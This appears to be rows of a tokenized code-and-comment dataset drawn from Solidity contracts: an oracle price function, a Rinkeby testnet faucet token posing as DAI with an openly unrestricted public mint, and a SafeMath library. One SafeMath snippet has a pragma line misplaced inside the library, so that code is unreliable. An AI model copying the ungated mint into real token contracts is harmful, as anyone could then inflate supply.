[ 1, 345, 724, 777, 2430, 358, 326, 6835, 11784, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 423, 558, 278, 1345, 12, 2867, 389, 6769, 16936, 13, 1071, 288, 203, 565, 2583, 261, 67, 6769, 16936, 480, 374, 92, 20, 1769, 203, 203, 565, 2172, 16936, 273, 389, 6769, 16936, 31, 203, 203, 565, 2078, 3088, 1283, 273, 2172, 3088, 1283, 31, 203, 565, 324, 26488, 63, 6769, 16936, 65, 273, 2172, 3088, 1283, 31, 203, 203, 565, 527, 5541, 12, 6769, 16936, 1769, 203, 225, 289, 203, 203, 225, 871, 605, 321, 12, 2867, 8808, 18305, 264, 16, 2254, 5034, 460, 1769, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0xD3111A14E8df0Df749CF881AE414037D732D8d28/sources/ComboOracle_KyberSwapElasticV2.sol
Return token price in ETH, multiplied by 2**112 Get the ETH Price PRECISE_PRICE_PRECISION Get the decimals Scale to 2*112 Also divide by the token decimals (needed for the math. Nothing to do with missing decimals or anything)
function getETHPx112(address token_address) external view returns (uint256) { if (token_address == address(WETH) || token_address == 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE) return uint(2 ** 112); require(maxDelayTime != 0, 'Max delay time not set'); ( , , uint256 eth_price) = getTokenPrice(token_address); uint decimals = uint(ERC20(token_address).decimals()); return (eth_price * (2 ** 112)) / (10 ** decimals); }
2,731,432
[ 1, 990, 1147, 6205, 316, 512, 2455, 16, 27789, 635, 9035, 2138, 968, 326, 512, 2455, 20137, 7071, 7266, 1090, 67, 7698, 1441, 67, 3670, 26913, 968, 326, 15105, 12591, 358, 9035, 2138, 8080, 12326, 635, 326, 1147, 15105, 261, 17471, 364, 326, 4233, 18, 13389, 358, 741, 598, 3315, 15105, 578, 6967, 13, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 336, 1584, 2500, 92, 17666, 12, 2867, 1147, 67, 2867, 13, 3903, 1476, 1135, 261, 11890, 5034, 13, 288, 203, 3639, 309, 261, 2316, 67, 2867, 422, 1758, 12, 59, 1584, 44, 13, 747, 1147, 67, 2867, 422, 374, 17432, 1340, 1340, 41, 1340, 73, 41, 73, 41, 1340, 41, 73, 41, 73, 41, 1340, 9383, 41, 1340, 1340, 41, 1340, 1340, 1340, 73, 9383, 73, 41, 13, 327, 2254, 12, 22, 2826, 23543, 1769, 203, 3639, 2583, 12, 1896, 6763, 950, 480, 374, 16, 296, 2747, 4624, 813, 486, 444, 8284, 203, 203, 3639, 261, 269, 269, 2254, 5034, 13750, 67, 8694, 13, 273, 9162, 5147, 12, 2316, 67, 2867, 1769, 203, 540, 203, 3639, 2254, 15105, 273, 2254, 12, 654, 39, 3462, 12, 2316, 67, 2867, 2934, 31734, 10663, 203, 203, 3639, 327, 261, 546, 67, 8694, 380, 261, 22, 2826, 23543, 3719, 342, 261, 2163, 2826, 15105, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.6.4; // Send an 0 value transaction with no data to mint 1,000 new tokens // // Symbol : DAI // Name : Dai Stablecoin System // Total supply: 1,000,000.000000000000000000 + faucet minting // Decimals : 18 // Version : 1 // Chain ID : 4 // Deployed to : Rinkeby 0x2510f23E0356A38894F39e929002c4fFd23441b3 // ---------------------------------------------------------------------------- // Safe maths // ---------------------------------------------------------------------------- library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a); } function sub(uint256 a, uint256 b) internal pure returns (uint256 c) { require(b <= a); c = a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a * b; require(a == 0 || c / a == b); } function div(uint256 a, uint256 b) internal pure returns (uint256 c) { require(b > 0); c = a / b; } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md // ---------------------------------------------------------------------------- abstract contract ERC20Interface { function totalSupply() public virtual view returns (uint256); function balanceOf(address tokenOwner) public virtual view returns (uint256 balance); function allowance(address tokenOwner, address spender) public virtual view returns (uint256 remaining); function transfer(address to, uint256 tokens) public virtual returns (bool success); function approve(address spender, uint256 tokens) public virtual returns (bool success); function transferFrom( address from, address to, uint256 tokens ) public virtual returns (bool success); event Transfer(address indexed from, address indexed to, uint256 tokens); event Approval(address indexed tokenOwner, address indexed spender, uint256 tokens); } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and a // fixed supply // ---------------------------------------------------------------------------- contract ConnextToken is ERC20Interface { using SafeMath for uint256; string public symbol; string public name; uint8 public decimals; uint256 _totalSupply; uint256 _drop; address public owner; mapping(address => uint256) balances; mapping(address => mapping(address => uint256)) _allowance; mapping(address => uint256) public nonces; bytes32 public DOMAIN_SEPARATOR; // bytes32 public constant PERMIT_TYPEHASH = keccak256("Permit(address holder,address spender,uint256 nonce,uint256 expiry,bool allowed)"); bytes32 public constant PERMIT_TYPEHASH = 0xea2aa0a1be11a07ed86d755c93467f4f82362b452371d1ba94d1715123511acb; modifier onlyOwner { require(msg.sender == owner, "Only owner can call this function."); _; } constructor( string memory symbol_, string memory name_, string memory version_, uint256 chainId_ ) public { decimals = 18; _drop = 1000 * 10**uint256(decimals); symbol = symbol_; name = name_; owner = msg.sender; DOMAIN_SEPARATOR = keccak256( abi.encode( keccak256( "EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)" ), keccak256("Dai Semi-Automated Permit Office"), keccak256(bytes(version_)), chainId_, address(this) ) ); } function totalSupply() public override view returns (uint256) { return _totalSupply.sub(balances[address(0)]); } function balanceOf(address tokenOwner) public override view returns (uint256 balance) { return balances[tokenOwner]; } function transfer(address to, uint256 tokens) public override returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint256 tokens) public override returns (bool success) { _allowance[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transferFrom( address from, address to, uint256 tokens ) public override returns (bool success) { balances[from] = balances[from].sub(tokens); _allowance[from][msg.sender] = _allowance[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public override view returns (uint256 remaining) { return _allowance[tokenOwner][spender]; } function mint(address tokenOwner, uint256 tokens) public returns (bool success) { balances[tokenOwner] = balances[tokenOwner].add(tokens); _totalSupply = _totalSupply.add(tokens); emit Transfer(address(0), tokenOwner, tokens); return true; } function drip() public { mint(msg.sender, _drop); } function ownerMint(address tokenOwner, uint256 tokens) public onlyOwner returns (bool success) { return mint(tokenOwner, tokens); } receive() external payable { mint(msg.sender, _drop); if (msg.value > 0) { msg.sender.transfer(msg.value); } } function permit( address holder, address spender, uint256 nonce, uint256 expiry, bool allowed, uint8 v, bytes32 r, bytes32 s ) public { bytes32 digest = keccak256( abi.encodePacked( "\x19\x01", DOMAIN_SEPARATOR, keccak256(abi.encode(PERMIT_TYPEHASH, holder, spender, nonce, expiry, allowed)) ) ); require(holder == ecrecover(digest, v, r, s), "invalid permit"); require(expiry == 0 || now <= expiry, "permit expired"); require(nonce == nonces[holder]++, "invalid nonce"); uint256 wad = allowed ? uint256(-1) : 0; _allowance[holder][spender] = wad; emit Approval(holder, spender, wad); } }
---------------------------------------------------------------------------- Safe maths ----------------------------------------------------------------------------
library SafeMath { pragma solidity ^0.6.4; function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a); } function sub(uint256 a, uint256 b) internal pure returns (uint256 c) { require(b <= a); c = a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a * b; require(a == 0 || c / a == b); } function div(uint256 a, uint256 b) internal pure returns (uint256 c) { require(b > 0); c = a / b; } }
6,379,075
[ 1, 5802, 7620, 14060, 4233, 87, 8879, 13849, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 12083, 14060, 10477, 288, 203, 683, 9454, 18035, 560, 3602, 20, 18, 26, 18, 24, 31, 203, 203, 225, 445, 527, 12, 11890, 5034, 279, 16, 2254, 5034, 324, 13, 2713, 16618, 1135, 261, 11890, 5034, 276, 13, 288, 203, 565, 276, 273, 279, 397, 324, 31, 203, 565, 2583, 12, 71, 1545, 279, 1769, 203, 225, 289, 203, 203, 225, 445, 720, 12, 11890, 5034, 279, 16, 2254, 5034, 324, 13, 2713, 16618, 1135, 261, 11890, 5034, 276, 13, 288, 203, 565, 2583, 12, 70, 1648, 279, 1769, 203, 565, 276, 273, 279, 300, 324, 31, 203, 225, 289, 203, 203, 225, 445, 14064, 12, 11890, 5034, 279, 16, 2254, 5034, 324, 13, 2713, 16618, 1135, 261, 11890, 5034, 276, 13, 288, 203, 565, 276, 273, 279, 380, 324, 31, 203, 565, 2583, 12, 69, 422, 374, 747, 276, 342, 279, 422, 324, 1769, 203, 225, 289, 203, 203, 225, 445, 3739, 12, 11890, 5034, 279, 16, 2254, 5034, 324, 13, 2713, 16618, 1135, 261, 11890, 5034, 276, 13, 288, 203, 565, 2583, 12, 70, 405, 374, 1769, 203, 565, 276, 273, 279, 342, 324, 31, 203, 225, 289, 203, 97, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]